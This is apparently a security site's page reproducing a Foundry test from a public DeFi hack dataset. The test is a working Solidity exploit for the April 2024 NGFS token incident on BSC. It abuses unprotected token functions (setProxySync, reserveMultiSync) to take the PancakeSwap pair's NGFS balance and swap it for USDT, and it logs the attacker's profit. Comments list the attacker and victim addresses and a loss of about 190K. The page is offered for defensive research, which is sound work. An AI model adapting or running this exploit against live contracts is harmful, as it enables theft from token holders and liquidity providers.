Public reproduction file

src/test/2024-04/NGFS_exp.sol

Public reproduction file for dataset entry NGFS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/NGFS_exp.sol90 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "forge-std/Test.sol";
5 
6// @KeyInfo - Total Lost: ~190K
7// Attacker: https://bscscan.com/address/0xd03d360dfc1dac7935e114d564a088077e6754a0
8// Attack Contract: https://bscscan.com/address/0xc73781107d086754314f7720ca14ab8c5ad035e4
9// Vulnerable Contract: https://bscscan.com/address/0xa608985f5b40cdf6862bec775207f84280a91e3a
10// Attack Tx: https://bscscan.com/tx/0x8ff764dde572928c353716358e271638fa05af54be69f043df72ad9ad054de25
11 
12// @Info
13// Vulnerable Contract Code: https://bscscan.com/address/0xa608985f5b40cdf6862bec775207f84280a91e3a#code
14 
15// @Analysis
16// Post-mortem: https://louistsai.vercel.app/p/2024-04-25-ngfs-exploit/
17// Twitter Guy: https://twitter.com/CertiKAlert/status/1783476515331616847
18// Hacking God:
19 
20interface IPancakeFactory {
21    function getPair(address, address) external returns (address);
22}
23 
24interface IPancakeRouter {
25    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
26        uint256 amountIn,
27        uint256 amountOutMin,
28        address[] calldata path,
29        address to,
30        uint256 deadline
31    ) external;
32}
33 
34interface INGFSToken {
35    function delegateCallReserves() external;
36    function setProxySync(
37        address
38    ) external;
39    function balanceOf(
40        address
41    ) external view returns (uint256);
42    function reserveMultiSync(address, uint256) external;
43    function approve(address, uint256) external returns (bool);
44}
45 
46interface IBEP20 {
47    function balanceOf(
48        address
49    ) external view returns (uint256);
50}
51 
52contract NGFS is Test {
53    uint256 constant BLOCKNUM_TO_FORK_FROM = 38_167_372;
54    address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
55    address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
56    address constant NGFS_TOKEN = 0xa608985f5b40CDf6862bEC775207f84280a91E3A;
57    address constant USDT_TOKEN = 0x55d398326f99059fF775485246999027B3197955;
58 
59    function setUp() public {
60        vm.createSelectFork("bsc", BLOCKNUM_TO_FORK_FROM);
61    }
62 
63    function testExploit() public {
64        uint256 tokenBalanceBefore = IBEP20(USDT_TOKEN).balanceOf(address(this));
65        emit log_named_decimal_uint("Attacker USDT Balance Before exploit", tokenBalanceBefore, 18);
66 
67        address pair = IPancakeFactory(PANCAKE_FACTORY).getPair(NGFS_TOKEN, USDT_TOKEN);
68        INGFSToken(NGFS_TOKEN).delegateCallReserves();
69        INGFSToken(NGFS_TOKEN).setProxySync(address(this));
70 
71        uint256 balance = INGFSToken(NGFS_TOKEN).balanceOf(pair);
72        INGFSToken(NGFS_TOKEN).reserveMultiSync(address(this), balance);
73 
74        uint256 amount = INGFSToken(NGFS_TOKEN).balanceOf(address(this));
75        INGFSToken(NGFS_TOKEN).approve(PANCAKE_ROUTER, type(uint256).max);
76 
77        address[] memory path = new address[](2);
78        path[0] = NGFS_TOKEN;
79        path[1] = USDT_TOKEN;
80 
81        uint256 deadline = 1_714_043_885;
82        IPancakeRouter(PANCAKE_ROUTER).swapExactTokensForTokensSupportingFeeOnTransferTokens(
83            amount, 0, path, address(this), deadline
84        );
85 
86        uint256 tokenBalanceAfter = IBEP20(USDT_TOKEN).balanceOf(address(this));
87        // Log balances after exploit
88        emit log_named_decimal_uint("Attacker USDT Balance After exploit", tokenBalanceAfter - tokenBalanceBefore, 18);
89    }
90}

Analysis

Dataset entry

Public Foundry test for “NGFS” (2024-04-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2024-04/ATM_exp.solSame month in the dataset · 87 lines
src/test/2024-04/BigBangSwap_exp.solSame month in the dataset · 118 lines
src/test/2024-04/BNBX_exp.solSame month in the dataset · 70 lines
src/test/2024-04/ChaingeFinance_exp.solSame month in the dataset · 145 lines
src/test/2024-04/FIL314_exp.solSame month in the dataset · 55 lines
src/test/2024-04/GFA_exp.solSame month in the dataset · 63 lines
src/test/2024-04/GROKD_exp.solSame month in the dataset · 172 lines
src/test/2024-04/Hackathon_exp.solSame month in the dataset · 63 lines
src/test/2024-04/HedgeyFinance_exp.solSame month in the dataset · 149 lines
src/test/2024-04/HoppyFrogERC_exp.solSame month in the dataset · 57 lines
src/test/2024-04/MARS_exp.solSame month in the dataset · 101 lines
src/test/2024-04/OpenLeverage2_exp.solSame month in the dataset · 239 lines
src/test/2024-04/PikeFinance_exp.solSame month in the dataset · 70 lines
src/test/2024-04/Rico_exp.solSame month in the dataset · 119 lines
src/test/2024-04/SATX_exp.solSame month in the dataset · 82 lines
src/test/2024-04/SQUID_exp.solSame month in the dataset · 86 lines
src/test/2024-04/SumerMoney_exp.solSame month in the dataset · 144 lines
src/test/2024-04/UnverifiedContr_0x00C409_exp.solSame month in the dataset · 96 lines
src/test/2024-04/UPS_exp.solSame month in the dataset · 75 lines
src/test/2024-04/WSM_exp.solSame month in the dataset · 84 lines
src/test/2024-04/XBridge_exp.solSame month in the dataset · 55 lines
src/test/2024-04/YIEDL_exp.solSame month in the dataset · 97 lines
src/test/2024-04/Yield_exp.solSame month in the dataset · 94 lines
src/test/2024-04/Z123_exp.solSame month in the dataset · 62 lines

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xd03d360dfc1dac7935e114d564a088077e6754a0
Attack Contract
0xc73781107d086754314f7720ca14ab8c5ad035e4
Vulnerable Contract
0xa608985f5b40cdf6862bec775207f84280a91e3a

Attack Tx
0x8ff764dde572928c353716358e271638fa05af54be69f043df72ad9ad054de25

File record

Name: NGFS
Path: src/test/2024-04/NGFS_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 679dae66dfb3cd41e268796c281adf1ce4f4325b
Language: Solidity
Size: 91 lines
Date: 2024-04-25
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2024-04/NGFS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 679dae66dfb3cd41e268796c281adf1ce4f4325b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.